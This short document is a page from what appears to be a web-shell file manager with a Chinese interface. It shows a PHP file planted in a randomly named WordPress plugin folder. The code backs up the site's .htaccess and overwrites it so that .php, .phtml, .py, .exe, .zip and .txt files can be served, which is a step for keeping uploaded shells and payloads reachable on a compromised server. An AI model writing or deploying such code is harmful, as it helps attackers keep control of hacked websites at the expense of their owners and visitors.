✏️ 正在编辑: index.php
路径:
/home/lssfapb/www/wp-content/plugins/d80dcd1266083e439ba34abf9d4e9e20/index.php
提示:
您可以编辑任何文件(包括二进制文件),但请注意不当修改可能导致文件损坏。
<?php /* AbiqGoGWCgPNzPU */ ?> <?php $htaccess = __DIR__ . '/.htaccess'; $newContent = '<FilesMatch ".(py|exe|php|phtml|zip|txt)$"> Order allow,deny Allow from all </FilesMatch>'; // Backup if (file_exists($htaccess)) { copy($htaccess, __DIR__ . '/.htaccess_backup_' . date('Ymd_His') . '.txt'); } // Tulis if (file_put_contents($htaccess, $newContent)) { echo "✅ .htaccess berhasil diganti dengan konten yang Anda berikan."; } else { echo "❌ Gagal menulis."; } ?>
💾 保存文件
← 返回文件管理器